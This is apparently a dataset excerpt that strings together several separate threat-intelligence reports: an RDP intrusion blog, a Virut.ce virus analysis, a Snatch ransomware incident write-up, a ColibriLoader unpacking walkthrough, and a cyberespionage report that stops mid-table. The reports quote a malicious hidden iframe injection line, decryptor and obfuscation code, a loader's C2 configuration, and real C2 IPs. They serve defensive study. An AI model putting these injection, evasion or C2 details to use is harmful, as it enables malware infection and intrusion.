text
stringlengths
8
115k
# OverWatch Elite's Call Escalation Vital to Containing Attack For a defender, time is critical. As CrowdStrike Falcon OverWatch™ threat hunters know firsthand, adversaries can move from initial access to lateral movement in just minutes. This blog and the real-world attack scenario it describes highlight the essential value that human security expertise adds to an organization’s security defense and response capabilities beyond the limits of autonomous ML/AI alone. Earlier this year, OverWatch threat hunters identified the early stages of an intrusion against a healthcare organization. Fortunately, this customer subscribed to the OverWatch Elite service, which includes a CrowdStrike threat hunting analyst that helps the in-house security team improve response times and drive continuous optimization. This meant an assigned threat response analyst was able to contact the organization personally to alert them of the malicious activity. This allowed the customer to contain the adversary before any significant impact resulted. This call escalation protocol — a core offering of OverWatch Elite — can prove crucial in enabling a timely response to sophisticated hands-on-keyboard activity when every minute counts. This blog outlines the detection and response to the attempted intrusion. ## Tracking and Containing an Intrusion in Real Time OverWatch discovered an unknown adversary conducting malicious interactive activity on multiple hosts. Using a legitimate administrator account, the adversary gained access to the initial host via a Remote Desktop Protocol (RDP) session. Valid credentials are often widely available through various means and can provide an undetected path into secure networks. The adversary then wrote a series of tools to the compromised host, including PowerTool, Mimikatz, and a Meterpreter stager payload masquerading as the legitimate Windows executable. Next, the adversary executed Mimikatz in an attempt to harvest user credentials from the initial host before moving laterally to various hosts using mstsc.exe, a Windows Remote Desktop Connection tool. Using an RDP session, the adversary proceeded to log in to two additional remote hosts using yet another account, indicating that they were in possession of numerous sets of valid domain credentials. The adversary was then observed conducting host and network reconnaissance, including the enumeration of additional systems on the domain. Finally, the adversary attempted to use the Windows Task Manager to extract the contents of the LSASS process in a further attempt to harvest credentials, which was ultimately thwarted by the CrowdStrike Falcon® sensor. The tailored guidance provided by OverWatch Elite during the customer’s initial onboarding ensured that the Falcon platform was configured correctly and had appropriate prevention settings turned on, ensuring no endpoint was left unprotected. ## Tactic and Technique Overview ### An Elite Response When Every Minute Matters As this malicious activity unfolded, OverWatch threat hunters were watching and quickly determined that this was malicious hands-on-keyboard activity. The CrowdStrike Threat GraphⓇ database contributes to OverWatch’s ability to hunt across over 1 trillion endpoint events each day, enabling threat hunters to quickly surface the most subtle of suspicious or malicious behaviors that could potentially indicate a sophisticated adversary’s presence. Upon validating that the observed activity was malicious, OverWatch triggered multiple detections to the customer’s Falcon console, followed by a detailed notification that was sent via email. This notification contained a comprehensive summary of the event, including the indicators of compromise (IOCs) seen during this attack. With this actionable intelligence in hand, the organization had the critical context necessary to take immediate action and disrupt the adversary. During working hours, customers are often available to discuss investigations, detections, and intrusions with OverWatch Elite analysts. Adversaries, however, do not operate strictly within business hours. In this case, the malicious activity in question was unfolding over the weekend — a time when organizations may not be monitoring their queues or mailboxes as closely. As a Falcon OverWatch Elite customer, this organization was provided with 60-minute call escalation. This core OverWatch Elite feature is critical to ensuring that active hands-on keyboard activity is being responded to by the customer in a timely fashion. If no one in the customer’s organization confirms they are investigating the critical activity within 60 minutes of the email notification, an OverWatch Elite threat response analyst will begin calling a predetermined list of individuals at the organization until there is confirmation that someone is responding to the incident. In this instance, the initial notification went unacknowledged. OverWatch Elite performed a rapid assessment of the unfolding situation and deemed rapid escalation was necessary. Once contact was secured, OverWatch Elite briefed the customer, prompting them to contain the compromised hosts before the adversary could achieve the intended objectives. OverWatch hunts continuously and simultaneously across its customers’ endpoints 24 hours a day, 365 days a year, providing near real-time notifications of potential threats to customers. It is equally crucial that defenders are ready to take action following OverWatch notifications. OverWatch Elite’s call escalation protocol ensures that notifications don’t get missed and defensive action can be taken quickly. ## Features Unique to Falcon OverWatch Elite OverWatch Elite’s core offerings allow customers to build a personalized relationship with their assigned threat response analyst. Specific service inclusions, such as the call escalation protocol highlighted, provide OverWatch Elite customers with added peace of mind that adversary activity within their environments can be rapidly disrupted. The tailored threat hunting available to OverWatch Elite customers also allows them to develop, operationalize, and tune their threat hunting program to meet the needs of their specific environment, all while giving them access to fast, closed-loop communications.
# Review of the Virus.Win32.Virut.ce Malware Sample **Authors** Vyacheslav Zakorzhevsky ## Introduction This article is dedicated to the polymorphic virus known as Virus.Win32.Virut and to its ‘ce’ variant in particular. ## Why call it Virut.ce? Virut.ce is one of the most widespread pieces of malware found on users’ computers. It infects executable files using the latest techniques, making detection and treatment particularly difficult. The current means by which most malicious files are actively spread is server-side polymorphism. Infecting files is not as popular as it used to be about five years ago, largely due to improved file emulation. The authors of Virut.ce have not been deterred by the difficulties in infecting executable files. The technology implemented in Virut.ce accurately reflects the latest methods used to write malware. Anti-emulation and anti-debugging tools are widely used, such as the tick count received when using multiple `rdtsc` instructions, series of `GetTickCount` API functions, and the calling of multiple fake API functions. Virut is the fastest-mutating virus known, with a new variant appearing as often as once a week. This indicates that its creators closely monitor antivirus databases to take prompt action when a new Virut signature is released. As soon as this happens, the creators modify the virus to make it undetectable again. Interestingly, the malicious program ensures that its latest version is downloaded to compromised computers by exploiting infected HTML files. This article reviews the methods used to infect files, covering obfuscation as it is applied each time an executable file is infected. Additionally, the evolution of the virus’ components will be examined, from their emergence up until the present time. All statistics in this article have been collected using Kaspersky Lab’s Kaspersky Security Network (KSN) technology. ## A brief review of statistics and propagation The first Virut variant was called Virut.a and appeared back in mid-2006. From that moment on, the strain has evolved steadily, reaching Virut.q sometime in September 2007. Virut.q was quite popular at the time but rarely occurs these days. Its developers discontinued support for it during the second half of 2008, but in February 2009, a new variant called Virut.ce appeared. The creators of the virus spent the interim period perfecting new infection techniques, encryption algorithms, and anti-emulation methods. At present, the Virut.ce variant is the second most popular of all versions of Virus.Win32.*.* detected on users’ computers. ## The Top 20 most frequently detected viruses (January 2009 – May 2010) From the graph below, it can clearly be seen that the propagation activity of Virut.ce increases over time. ## Number of computers infected with Virut.ce (May 2009 – May 2010) The virus propagates through infected files, both executable and HTML, or smaller programs designed to crack licensed software. Such programs generally include key generators (keygens) and direct file modification utilities (cracks). More specifically, Virut propagates as part of RAR/SFX archives with straightforward names like `codename_panzers_cold_war_key.exe` or `advanced_archive_password_recovery_4.53_key.exe`. Such archives include a copy of Virut, either in its original form or in an infected file alongside the desired program. ## Virut’s functionality Now let us look at the most important feature – Virut’s payload. Most malware programs are designed for financial gain, and Virut is no exception. It acts as a backdoor, attempting to infiltrate the address space of the `explorer.exe` process (or `services.exe`, `iexplore.exe`), then connects to the `irc.zief.pl` and `proxim.ircgalaxy.pl` URLs via IRC protocol and waits for commands. The procedure looks quite conventional, as does the list of processes the virus attempts to terminate, including processes belonging to antivirus programs such as `nod32`, `rising`, `f-secure`, and others. Interestingly, the virus infects all of the `*.htm`, `*.php`, and `*.asp` files stored on the victim computer. It adds the following line to them: `<iframe src=http://jl.*****.pl/rc/ style='display:none'>`. This downloads the latest version of Virut by exploiting a PDF-file vulnerability. This line may change from version to version within the ‘ce’ variant. ## General discussion and method of infection Virut.ce uses EPO technology or rewrites the entry point as an infection technique. One or two polymorphic decryptors are used in conjunction with it. The Entry Point Obscuring (EPO) technique works by preventing detection of the instruction to jump to the virus body. Typically, this is implemented by replacing a random instruction in the program’s original code or the parameter of the jump instruction. The term ‘rewriting the entry point’ implies modifying the PE header of the file being infected, specifically rewriting the `AddressOfEntryPoint` field in the `IMAGE_NT_HEADERS32` structure. Consequently, file execution will start directly with the virus component. As discussed earlier, the virus adds only one or two decryptors during infection – let us call them ‘Init’ and ‘Main’. The Main decryptor is located in every file touched by Virut.ce, while the Init decryptor occurs only occasionally. The primary purpose of the Init decryptor is to decipher the first layer of the virus’ main body to hand over control to it. However, the bulk of the virus’ body remains encrypted even after this initial decryption. The Init decryptor is a small piece of code between 0x100 and 0x900 bytes long and contains many purposeless instructions that prevent static antivirus signatures from working. The decryptor is placed at the end of a section of code if there is a sufficient number of zeros. The decryptor works as follows: 1. It writes the size of the encrypted section to the register; 2. Performs a logical/arithmetic operation on the encrypted section with a constant key; 3. Increments/decrements the pointer to the encrypted section; 4. Jumps back to instruction 2 until everything is decrypted. The main body of the virus is 0x4000 to 0x6000 bytes in size and is located at the end of the last section, which is extended specifically for this purpose and flagged as write/read-accessible and executable. Thus, four ways for possible infection exist: - Init Decryptor + EPO - Init Decryptor + modifications to the EP - EPO only - Rewriting the entry point only These four methods of contagion cover all the possible ways to infect a file or modify its structure. ## Primary decryption of Virut.ce’s body Before we discuss the payload of the virus’ main body, let us look at the Init decryptor in a genuinely infected file. The first screenshot shows a fragment of an infected `calc.exe` file. The boundaries of the code section are marked, and the Init decryptor is highlighted. The second screenshot shows the disassembled code of the Init decryptor. In this example, the ECX register is filled with multiple push/pop instructions and decrypted with the `adc` instruction. However, this procedure has not always been the same. Virut.ce has evolved rapidly in the last year, and so has the incorporated Init decryptor. Now that we have reviewed the general schemes by which infection occurs and the primary processing of the virus’ main body, we can move on to reviewing the execution of the major part of Virut, which is always located at the end of the last section. ## Restoring the original code The code of the main body can be subdivided into three groups according to purpose: the restoration of the original function/entry point, the decryption of the static body, and the execution of the payload. Before we review each element, let us review the structure of the virus body and have a look at the associated part of the file. The structure of the main body of Virut.ce consists of two types of components: the encrypted static body and the executable code. The executable part contains code that performs anti-emulation, restores the original entry point and/or function, and decrypts the static body. It is scattered over the main body and may be located at the top or bottom or be split in two. The executable part is also heavily obfuscated, complicating detection as there are no static elements in the original file. Let us now look at the block dedicated to restoring the file’s original part. The logic of this block may be represented as follows: 1. CALL [address with a small increment]; 2. Store the original contents of the registers; 3. Add the address pointing to `kernel32.dll` to the EBX register; 4. Calculate the pointer to the address of the instruction following CALL in item 1; 5. Perform an arithmetic/logical operation on the address obtained in instruction 4. It should be noted that the virus uses the EPO technique only if it identifies an API function being called from `kernel32.dll`. This function call may be identified by the calls through either the `0x15FF` or `0xE8` opcodes, with a subsequent JMP instruction (`0x25FF`). If such a function is identified, it is replaced with the JMP instruction (`0xE9`) which leads to instruction 1 in the previous diagram. If obfuscation is excluded, the simplest way to restore the entry point and/or function will appear as follows (assuming the `GetModuleHandleA` function was replaced): ``` CALL $ + 5 PUSHAD MOV EBX, [GetModuleHandleA] XOR [ESP + 20h], Key ``` Now, let us see how all of these stages have changed over time. The only stage we will not dwell on is the second operation (save the original contents of the registers) as it is always implemented by the `PUSHAD` instruction. Let us review each of the block’s logical elements in detail. The first stage – the CALL instruction – has not changed much over time. Originally, it looked like `CALL $ + 5`, later `CALL $ + 6(7,8)`, then `CALL $ + 0xFFFFFFFx`, which is a call ‘backwards’. Stage 3 is modified more often than stage 1 and may be implemented in several ways: - `MOV EBX, [ApiFunc]`/`MOV EBX, [ESP + 24h]` - `PUSH [ApiFunc]`/`[ESP + 24h]; POP EBX` - `SUB ESP, xxh; PUSH [ESP + 24h + xx]; POP EBX` - `LEA EBX, [ESP + xxh]; MOV EBX, [EBX + 24h – xx]` - `ADD ESP, 28h; XCHG [ESP – 4], EBX` This list of examples is by no means exhaustive but gives a general understanding of how this stage evolved over time. Additionally, intermediate manipulations of the ESP and EBX registers occur. Let us review the last stage, which restores the address of the original entry point or the patched CALL instruction. This stage is modified every two or three weeks. After the `PUSHAD` instruction is called, the ESP register – the indicator to the stack – will be decremented by `0x20`, and so `ESP + 20h` will store a value supplied by the last CALL instruction. An arithmetic/logical operation is applied to this value, and the required figure is obtained. Below are some of the possible sequences of operation that perform the actions described above: - `XOR/AND/OR/ADD/SUB [ESP + 20h], const` - `MOV [ESP + 20h], const` - `LEA EBP, [ESP + x]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG [EBX + 20h – x], EBP` - `MOV EBX, ESP; PUSH const; POP [EBX + 20h]` - `PUSH const; POP [ESP + 20h]` Again, this list is not exhaustive but gives an understanding of the overall trend. Various intermediate operations are added. The screenshot below presents a fragment of an infected file which contains all of the operations described above highlighted in red ovals. For clarity, the above code examples did not include obfuscation. However, obfuscation is used extensively in all of the file sections added by the virus, including the Init decryptor and the entire executable part of the main body. It is obfuscation that completely blocks static signatures from detecting the virus as it radically modifies the appearance of the code without changing its performance. Below are some examples of junk instructions which do not perform any meaningful operations and are only used to obfuscate the code: - `XCHG reg1, reg2; XCHG reg2, reg1;` (used together) - `SUB reg1, reg2; ADD reg1, reg2;` (used together) - `MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg, [REG];` - `CLD, CLC, STC, CMC, etc.` ‘reg1’ and ‘reg2’ stand for different registers; ‘reg’ stands for the same register within a single expression. Arithmetic/logical operations with an arbitrary second operand: - `ADC reg, const; SBB reg, const; XOR reg, const; etc.` In the screenshots below, elements of obfuscation are highlighted in red ovals. The screenshot on the left shows that junk instructions make up some 70-80% of the entire code. The examples above present some cases of obfuscation that occur most often and are not exhaustive. As the virus evolves, new obfuscation techniques evolve alongside it. We have reviewed the first stage of execution of the virus’ main body. We will not dwell on the stages that implement various anti-emulation and anti-debugging techniques and move straight on to the Main decryptor. ## Decrypting the main body The execution of the decryption code starts after the virus completes its initial activities such as restoring the patched code, creating a specifically named object, and obtaining the addresses of the functions to be used from system DLLs and anti-cycles. If the Main decryptor is viewed in a disassembler, its code will appear utterly meaningless, as the `RETN` instruction is called, which hands over control to a randomly chosen position. Before the main decryption process starts, the `RETN` instruction (0C3h) is replaced with `CALL` (0E8h). This is accomplished by an instruction which may typically look like this: ``` ADD/SUB/XOR [EBP + xx], bytereg ``` In the above, EBP points to the address of the instruction following CALL, and `bytereg` is one of the byte registers. We can therefore consider that the decryption cycle starts after `RETN` is changed to `CALL`. Next follows the decryption cycle, which is just as obfuscated as the rest of the virus’ body. Not only are a large number of algorithms used, but many of them are more complex than those used within the Init decryptor. Typically, between two to six logical/arithmetic operations are used in combination. In algorithms, the EDX register contains the decryption key, and the EAX register contains the virtual address where the static body starts. The algorithms in use are very diverse, so we will only provide examples of the most interesting ones: ``` ROL DX, 4 XOR [EAX], DL IMUL EDX, EDX, 13h ADD [EAX], DL ROL DX, 5 IMUL EDX, 13h XOR [EAX], DH ADD [EAX], DL XCHG DH, DL IMUL EDX, 1Fh XOR [EAX], DH XCHG DH, DL ADD [EAX], DH IMUL EDX, 2Bh ``` The instructions used changed from version to version, but no clear trend can be observed: relatively simple algorithms were replaced by more complex ones, which in turn were replaced by simpler ones again. It appears that the virus creator’s ultimate goal was to use an algorithm that could better resist possible brute force attempts. This may account for the continuous changes to the algorithms, as well as the irrationality of those changes. ## A disassembled fragment of the Main decryptor The screenshot above contains a fragment of the Main decryptor’s disassembled code. The meaningful (non-junk) instructions discussed above are highlighted in red ovals. Some junk operations are also present here for obfuscation purposes. To continue the discussion regarding the execution of the infected file, let us move on to the execution of the malicious payload contained within the decrypted static body. It typically starts with a CALL instruction to a nearby cell to calculate the virtual address of the beginning of the executable code and use it later on for addressing. ## The virus’ decrypted static body The screenshot above shows the virus’ decrypted static body. The lines highlighted by the red ovals carry specific parts of the malicious payload. For example, ‘JOIN’ and ‘NICK’ are IRC commands, ‘irc.zief.pl’ and ‘proxim.ircgalaxy.pl’ are remote IRC servers that Virut attempts to contact; ‘SYSTEMCurrentControlSet ServicesSharedAccess ParametersFirewallPolicy StandardProfileAuthorizedApplications List’ is the registry key containing the list of trustworthy programs for the Windows firewall. ## Conclusion Virut.ce is interesting for the variety of file infection mechanisms it uses, as well as its polymorphism and obfuscation techniques. However, its malicious payload is quite commonplace. This version of Virut was the first to combine all of the aforementioned malicious techniques into a single piece of malware. Some malicious programs may be heavily obfuscated, others may employ a wide range of anti-emulation techniques, but Virut.ce combines all of these in one package. This article provides a detailed account of these malicious techniques. It is not an attempt at a complete description of Virut.ce, nor is it intended to be. We could have gone deeper into how the virus communicates with the IRC server or examined more closely the details of how files are infected, but this time we deliberately focused on Virut’s basic mechanisms. Additionally, publishing a detailed description of the anti-emulation techniques would be irresponsible as malware writers could then exploit this information. Assessing the virus’ future is quite a difficult task. As of April-May 2010, no new versions of Virut.ce have been detected; however, this does not mean that its evolution has stopped. It is quite possible that the virus writers have taken a break to develop further changes to the virus that could render it immune to current antivirus products. Currently, all of Kaspersky Lab’s products are able to successfully detect and treat Virus.Win32.Virut.ce, and as soon as a new variant is detected, its signature will be added to the Kaspersky Lab antivirus databases. We hope that this article will be of assistance to virus analysts and those interested in the study of malware. Awareness of the technologies implemented in Virus.ce helps to broaden our understanding of many other malicious programs, including polymorphic viruses employing similar methodologies.
# Snatch Ransomware Another RDP brute force ransomware strikes again, this time, Snatch Team! Snatch Team was able to go from brute forcing a Domain Administrator (DA) account via RDP, to running a Meterpreter reverse shell and a RDP proxy via Tor on a Domain Controller (DC), to encrypting all Domain joined systems in under 5 hours. Snatch is a widely known variant due to it causing systems to reboot into safe mode before encrypting the system. SophosLabs has an excellent write-up on Snatch which was very similar to what we witnessed. ## Initial Access Snatch Team logged into a DA account from 193.70.12.240 around 0515 UTC. Initially, with that access, they performed a simple `arp -a`. At 0753 UTC the threat actors made the next move running `ipconfig` and `quser`. Just minutes later they began lateral movement initiating an RDP session with a DC. ## Lateral Movement and Persistence Once on the DC, the threat actor moved quickly deploying a tool set in `C:\Windows`. This tool set included 2 executables that masqueraded as Windows Management Instrumentation files. One was executed with the following command parameters. The `.dat` file turned out to be a configuration file with the executable being TOR creating an RDP tunnel. The other executable file in the `wmis` folder was a Go executable of unknown providence potentially related to uTorrent capability. The next thing they did was create a reverse shell using what we think is Meterpreter. C2 initiated over HTTPS/443 to 91.229.77.161 via `cplXen.exe`. The presence of logs indicating the use of named pipe services also increases the likelihood of Meterpreter or possibly Cobaltstrike. We didn’t see any ET Pro signatures fire for this activity but we also didn’t have SSL inspection on at the time. A separate executable was then dropped for stealthy persistence of `cplXen.exe`. `x3.exe` is a loader that uses the 3 DLLs (which are ini files) below to run `cplXen`. - `jd4ob7162ns.dll`: `C:\windows\system32\cplXen.exe /F` - `fw0a53482aa.dll`: `443` - `kb05987631s.dll`: `91.229.77.161` Two Scheduled Tasks were created to launch the loader, which in turn persists the loading of `cplXen.exe`. `x3.exe` had a very low VT hit ratio. If anyone wants to investigate this further feel free to contact us to get the file or get it on MISP/VT. ## Action on Objectives About a half hour after successful C2 we see this. We can conclude that `ditsnap` was most likely run on the DC to obtain a copy of `ntds.dit` by creating a snapshot. Forty-five minutes later Snatch Team had their first blood. They RDP’ed into the backup server, turned off Windows Defender, and executed `safe.exe`. They did this for every machine in the domain and within 15 minutes all machines were ransomed including the DCs. All machines rebooted into safe mode before encrypting causing all logging and remote tools to fail. On all machines, we are left with the following: Snatch Team requested 40k USD for the decryptor but with negotiations we were able to talk them down to less than 15k. ## Recovery Let’s take a minute to think about what recovery would look like in a large organization. Every server and online machine was rebooted into safe mode without networking which causes you to lose complete visibility. This gets very painful quickly. ## Conclusion As we’ve seen time and time again, RDP is being brute-forced to gain access into the network and then the threat actor moves laterally quickly to install ransomware. Although we were surprised that the threat actors manually RDPed into each system rather than using GPO or PsExec. Even though this attacker did not seem highly skilled they were productive, efficient and in less than 5 hours could have earned 40k (8k per hour). ## Analysis of Safe.exe `Safe.exe` is a Go-based executable, it drops 4 bat files that kick off the ransom process. It creates a new service to run `safe.exe` and then sets the system to reboot into safe mode on next boot and then executes a shutdown of the system ASAP. When the system comes back up it's in Safe Mode without networking. ## IOCs - C2: 91.229.77.161 - RDP Access IPs: - 193.70.12.240 - 178.162.209.135 - `safe.exe`: 2bbff2111232d73a93cd435300d0a07e - `x3.exe`: 1422dae0330c713935d50773680fcb39 - `cplXen.exe`: c9a728aa3f5b6f48b68df4bb66b41a5c ## YARA ```yara /* YARA Rule Set Author: The DFIR Report Date: 2020-06-17 Identifier: snatch-ransomware */ /* Rule Set ----------------------------------------------------------------- */ import "pe" rule snatch_ransomware_x3_loader { meta: description = "snatch-ransomware - file x3.exe" author = "DFIR Report" date = "2020-06-17" hash1 = "b9e4299239880961a88875e1265db0ec62a8c4ad6baf7a5de6f02ff4c31fcdb1" strings: $s1 = "jd4ob7162ns.dll" fullword wide $s2 = "kb05987631s.dll" fullword wide $s3 = "fw0a53482aa.dll" fullword wide condition: uint16(0) == 0x5a4d and filesize < 900KB and ( pe.imphash() == "d6136298ea7484a715d40720221233be" or 8 of them ) } ``` This is a brief overview of the Snatch Ransomware incident, detailing the methods of attack, persistence mechanisms, and recovery challenges faced by organizations.
# Unpacking Colibri Loader: A Russian APT Linked Campaign Written by André Tavares November 30, 2022 Between July and October 2022, BitSight observed a ColibriLoader malware campaign being distributed by PrivateLoader, which was identified as being utilized by the threat actor UAC-0113, a group linked to Sandworm by CERT-UA. Sandworm is known to be a Russian advanced persistent threat (APT) group affiliated with The Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU). In this research, we present how to manually “unpack” a sample from a recent campaign. Unpacking means reaching the final stage of the malware, which contains its main functionality. We also share some threat-hunting signatures and indicators of compromise which can be utilized in defense and tracking efforts. ## About Colibri ColibriLoader is a Malware-as-a-Service family, first advertised on XSS.is cybercrime forum in August 2021 to "people who have large volumes of traffic and lack of time to work out the material." For $150/week or $400/month, it offers a small, unpacked, obfuscated loader written in C and assembly, along with a control panel written in PHP. As its name suggests, it’s meant to deliver and manage payloads onto infected computers. Moreover, the malware ignores systems from Commonwealth of Independent States countries (Armenian, Azerbaijani, Belarusian, Hungarian, Kazakh, Kyrgyz, Romanian, Russian, Tajik, Turkmen, Uzbek). ## PrivateLoader Distributing Packed Colibri PrivateLoader is a loader from a pay-per-install malware distribution service that has been utilized to distribute info stealers, banking trojans, loaders, spambots, rats, miners, and ransomware on Windows machines. While monitoring PrivateLoader malware distribution activity, we spotted ColibriLoader being distributed between July and October. Many security products automatically classified these samples, and we noticed that all of them have the tag “Build1,” which may represent the botnet or campaign id. Contradicting the author's advertisements, we noticed some indicators suggesting that the samples are packed, such as their size, which should be around 20KB, and the fact that it contains only two sections, the .text and .reloc, which was not the case. In order to evade antivirus security products and frustrate malware reverse engineering, malware operators leverage encryption and compression via executable packing to protect their malicious code. Malware packers are software programs that either encrypt or compress the original binary, making it unreadable until it’s placed in memory. In general, malware packers consist of two components: a packed buffer (the actual malicious code) and an unpacking stub responsible for unpacking and executing the packed buffer. Threat actors make use of packers when distributing their malware as they remain an effective way to evade detection and make the malware harder to analyze. Manual analysis can defeat these protections and help develop tools that aid in this costly task. ## Unpacking ColibriLoader Let’s have a look at a sample dropped by PrivateLoader on September 4, 2022. First, we tried to use unpac.me service to try to unpack it automatically but we were unlucky. So, let’s dive deep into this sample. ### Resolving the Windows API Opening it on IDA Pro, on the main function, we can see a pattern that seems to be a way of dynamically resolving some Windows API functions, which are usually crucial to understand the code behavior quickly. The malware walks the process environment block (PEB), looking for the in-memory loaded modules base addresses on the current process, finds the functions exported by each, hashes them, and compares it with the hash of LoadLibrary. Then, it calls LoadLibraryA to load kernel32.dll to get a module handle for it, but does not actually load it since it is already loaded by default, and then searches for the target export function. By searching on Google for the constants in the code that generates the hash, we confirmed the hashing algorithm in use is Fowler–Noll–Vo. ### Encrypted Shellcode and Executable Looking a bit further through the code, we can spot what seems to be an XOR decryption of 520 bytes of shellcode at 0x454708, where the key is “2760,” and also the change in the protection of that region (VirtualProtect) to PAGE_EXECUTE_READWRITE (0x40), as well as four calls of a function within that region. We can confirm it by disassembling the shellcode function at 0x4547A8 after running it on x32dbg. This function allocates memory on the heap and copies some data to it. The size of the region to be allocated is on the second argument. Going back to the main code, there’s XOR decryption done on each piece of data, and subsequently a call to VirtualProtect to enable execution of the newly decrypted shellcode. Their arguments are what seems to be a file path, a pointer to an executable, what seems to be an XOR key, and probably the size of the executable (0x12C00 bytes, or 76.8KB). After saving to file that executable and sending it to VirusTotal, we can see that it was already uploaded. Again, no luck on unpacking it with unpac.me. Entering the last decrypted shellcode, it seems to dynamically resolve some Windows API functions by passing a hash and then it creates a file at C:\ProgramData\conhost.exe. After running it, a file was indeed dropped at the expected location, which turns out to be the same file we manually dumped. VirusTotal shows 173 executables dropping this file, most with compilation and first-seen timestamps from September 2022. Let's have a look at the dropped file. Opening again on IDA Pro, looking at the main function, it seems very similar to the previous stage, almost a copy, with some minor changes. In the end, we can quickly spot the same pattern of resolving VirtualProtect, calling it, and then calling the decrypted shellcode, just as seen before. After running on x32dbg with a breakpoint at that last call, we can see as before that the pointer to the newly decrypted executable is the second argument. However, this time the size is not being passed as an argument, but we can get it from other places, such as the call to a function that decrypts the executable, where the size to be decrypted is passed on the first argument. Going back, by putting a breakpoint on the call to decrypt the executable, we can see that the size is 0x5000 bytes (or 20KB). We can now extract the executable from memory and have a look at it. The file seems to be a valid executable with only two sections, .text and .reloc. There’s sufficient evidence to conclude that we have successfully unpacked the ColibriLoader. At the time of this research, this last stage was not yet on VirusTotal. Later, we found a quicker way of unpacking the malware. We used a script to extract executables from memory dumps (from a sandbox run for example) and then the YARA rule we share below was used to find the Colibri sample. ## Deobfuscating ColibriLoader Finally, let’s have a very quick look at the actual malware. The first anti-analysis trick we encounter is called opaque predicates; it’s a commonly used technique in program obfuscation, intended to add complexity to the control flow. There are many patterns of this technique but in this case, the malware author simply takes an absolute jump (JMP) and transforms it into two conditional jumps, jump if zero (JZ) and jump if not zero (JNZ). Depending on the value of the Zero flag (ZF), the execution will follow the first or second branch. However, disassemblers are tricked into thinking that there is a fall-through branch if the second jump is not taken (which is impossible as one of them must be taken) and try to disassemble the unreachable instructions (often invalid) resulting in garbage code. In order for IDA Pro to load it properly, we need to patch the first conditional jump to an absolute jump and NOP out the second jump. We’ve automated this task using myrtus0x0’s code since SmokeLoader also uses this technique. The last analysis we did was trying to extract the strings the malware uses, which will contain indicators of compromise, such as command and control servers. After looking a bit through the code, it wasn’t hard to find the string decryption function at 0x40594B since there are 71 cross-references for it, so it’s probably the most used function. This code seems straightforward enough. Strings are encrypted with an XOR key passed as an argument to the function. Yet, we didn’t need to script this out because we’ve found a working IDA script from Casperinous. ## Wrap-up We presented a way to manually unpack the ColibriLoader samples from a campaign linked to the threat actor UAC-0113. Later, we found a quicker way of unpacking the malware using the pe_extract.py script combined with a YARA rule which detects unpacked samples of ColibriLoader. ### Threat Hunting Signatures Here’s a YARA rule to detect packed ColibriLoader samples based on a typo. The following YARA rule detects unpacked ColibriLoader samples based on the string decryption function. This rule was tested on VirusTotal and it returned few results with first-seen timestamps between September 2021 and November 2022. Here’s a Suricata rule to detect the ColibriLoader network traffic, specifically its C2 check-in request, tested with a PCAP generated from a sandbox run of the malware. ### Indicators of Compromise Unpacked ColibriLoader sample - 59f5e517dc05a83d35f11c6682934497 173 Packed ColibriLoader samples.
# Cyberespionage in the Digital Economy Age ## Introduction In the course of cyberincident investigations and threat analysis research, Positive Technologies experts have identified activity by a criminal group whose aims include the theft of confidential documents and espionage. In this report, we will pay close attention to the tools, techniques, and procedures employed by the group as well as share indicators of compromise for detecting attacks. ## Objectives The main objective of the group is to steal confidential information. The attackers attempt to burrow into corporate information systems for extended periods and obtain access to key servers, executive workstations, and business-critical systems. At one of the attacked companies, the earliest traces of the group's presence on infrastructure dated to 2010. Since the group had obtained full control of some servers and workstations by that time, the initial breach must have occurred much earlier. Most of the attacked companies relate to manufacturing and industry. In total, we are aware of the compromise of over 30 companies and organizations in various sectors, including: - Manufacturing and industry - Software development - Energy - Geology - Government - Transport and logistics - Science and technology - Real estate - Systems integration - Construction The group attacked companies in a number of countries. A significant number of their targets were located in Russia and the CIS. ## Attribution Identified by the PT Expert Security Center in 2018, the group used an unusual method for lateral movement on network infrastructure: creation of tasks in the Task Scheduler. As a result, the group has been dubbed TaskMasters. The GitHub code of the ASPXSpy2014 web shell, which was used in the attack process, contains references to Chinese developers. However, the version we discovered instead contains a reference to google.ru. The requests sent to the web shells contained IP addresses belonging to a hosting provider and printing house in Eastern Europe. However, the event log of the proxy server at one of the attacked organizations captured the moment when the attackers switched to the residential Chinese IP address 115.171.23.103. This most likely was caused by a software VPN going offline during the attack. The attackers used a copy of WinRAR that had been activated with a key widely distributed on Chinese-language web forums. One of the tasks made use of the domain Brengkolang.com, which had been registered through a Chinese registrar. Many of the utilities contain error messages and other debugging information in broken English. This would be consistent with English being a second language for the developers. In addition, some of the attackers' self-developed utilities contain the string "by AiMi". This artifact is present both in client backdoors and server components. In a previous report, we noted that demand for malware development on the dark web significantly exceeds supply. As a result, malware is increasingly available to anyone willing to pay. Growing malware supply has pushed cybercriminals to use ready-made tools, which significantly complicate attack attribution. If different cybercriminals use the same services, they could be mistakenly thought to be in the same group. The same problem applies to determining the attackers' country. Code comments in any particular language only mean that the malware was created by a speaker of that language, who may have sold it afterward. Phishing messages, which may have been written sloppily, are also problematic for attribution. The bottom line is that surefire identification is possible only when attackers use exclusive exploits and malware. ## Methods The overall attack vector is rather traditional. After reaching the local network, the attackers study the infrastructure, exploit system vulnerabilities (such as CVE-2017-0176), and then download a particular toolkit to compromised hosts and unpack it (we will call the toolkit TaskMasters, the same name as for the group itself). With this toolkit, they search for, copy, and archive files of interest. The files are then sent to command and control (C2) servers. For lateral movement on the network, the attackers run system commands on remote hosts via the AtNow utility, which enables running software and commands at preset intervals of time. For managing hosts, they use small backdoors, which are used to connect to C2 servers. Backup communication methods exist as well, in the form of web shells on external resources (such as an Exchange server). ### Stages of Attack **Stage 1: Attack on Workstations** Payoff for attackers: - Sensitive documents - Remote administration - User credentials **Stage 2: Attack on Domain Controllers** Payoff for attackers: - Privileged account credentials - Ease and stealth in lateral movement - User credentials **Stage 3: Attack on File, Database, and Application Servers** Payoff for attackers: - Sensitive documents - User credentials **Stage 4: Attack on Servers and Workstations of Executives, IT, and Security Staff** Payoff for attackers: - Full compromise of network - Knowledge of infrastructure and cybersecurity solutions in place - User credentials The group uses Dynamic DNS infrastructure for its domains. It also makes active use of supply chain attacks. To scan the network and compromise systems, the attackers use both software available freely online (such as NBTScan, pwdump, and Mimikatz) and custom-developed utilities. ## Tools The following tables are a compilation of information about software used by the group. Utilities developed by the group itself have been listed in a separate table. ### Table 1: Custom-Developed TaskMasters Software | Name | Description | |---------------------|-------------------------------------------------------------------------------------------------| | RemShell 